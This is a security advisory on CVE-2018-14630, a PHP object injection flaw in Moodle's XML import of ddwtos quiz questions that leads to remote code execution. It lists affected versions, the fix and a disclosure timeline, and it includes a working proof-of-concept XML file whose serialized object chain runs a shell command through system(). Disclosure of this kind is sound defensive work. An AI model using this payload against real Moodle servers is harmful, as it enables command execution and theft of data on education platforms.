Remote Code Execution Via PHP Unserialize In Moodle (Cve-2018-14630)


Remote Code Execution via PHP unserialize


Moodle - Open-source learning platform

Vulnerable Version

3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions

Fixed Version

3.5.2, 3.4.5, 3.3.8 and 3.1.14

CVE Number







Johannes Moritz (Office Berlin) | SEC Consult Vulnerability Lab

The Moodle open-source learning platform is affected by a critical remote code execution vulnerability when importing “ddwtos” type quiz questions. Attackers can run arbitrary operating system commands on the server and gain access to sensitive information.


Vendor Description

“Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Powering tens of thousands of learning environments globally, Moodle is trusted by institutions and organisations large and small, including Shell, London School of Economics, State University of New York, Microsoft and the Open University. Moodle’s worldwide numbers of more than 90 million users across both academic and enterprise level usage makes it the world’s most widely used learning platform.”


Business Recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.

Vulnerability Overview / Description

1) Remote Code Execution via PHP unserialize

When importing a “drag and drop into text” (ddwtos) question in the legacy Moodle XML format, the passed feedback answer is used unsanitized in an unserialize() function, which leads to a PHP Object Injection vulnerability. By providing a sophisticated PHP Object chain it is possible to leverage the POI into a fully-blown arbitrary Remote Code Execution (RCE).

To exploit this vulnerability an attacker needs permissions to create a quiz or at least be able to import questions. A user of the role teacher usually has these permissions. However, students can also be assigned to the role teacher for a specific course.

Proof Of Concept

1) Remote Code Execution via PHP unserialize

In order to exploit this issue an attacker has to open Moodle’s question bank for a specific course and import the following Moodle XML file. The answer feedback contains a sophisticated PHP object chain which only contains objects from Moodles library. After the parsing process the command “echo ‘whoami'” is being executed.

<?xml version="1.0" encoding="UTF-8"?> <quiz> <question type="ddwtos"> <name> <text>question name</text> </name> <questiontext format="html"> <text><![CDATA[<p>How is the weather?<br></p>]]></text> </questiontext> <answer fraction="100"> <feedback format="html"> <text> O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo `whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;} </text> </feedback> </answer> </question> </quiz>

Vulnerable / Tested Versions

The following version has been tested which was the most recent one at the time of the test:

  • 3.5.1+

According to the vendor, all previous versions are affected as well:

  • 3.5 to 3.5.1
  • 3.4 to 3.4.4
  • 3.1 to 3.1.13 and earlier unsupported versions

Vendor Contact Timeline

2018-07-08 Vulnerability identified, further analysis (credits to Robin Peraglie from RIPS Technologies)
2018-07-09 Contacting vendor through (issue [MDL-62880] created)
2018-07-09 Vendor replied and supplied a fix for the vulnerability.
2018-09-10 Vendor releases patched version.
2018-09-18 Public release of security advisory.


The vendor provides a patched version (3.5.2) which should be installed immediately:

The vendor also provided a security advisory regarding this issue:


Disable import of ddwtos questions through XML files.

Advisory URL



EOF J. Moritz / @2018


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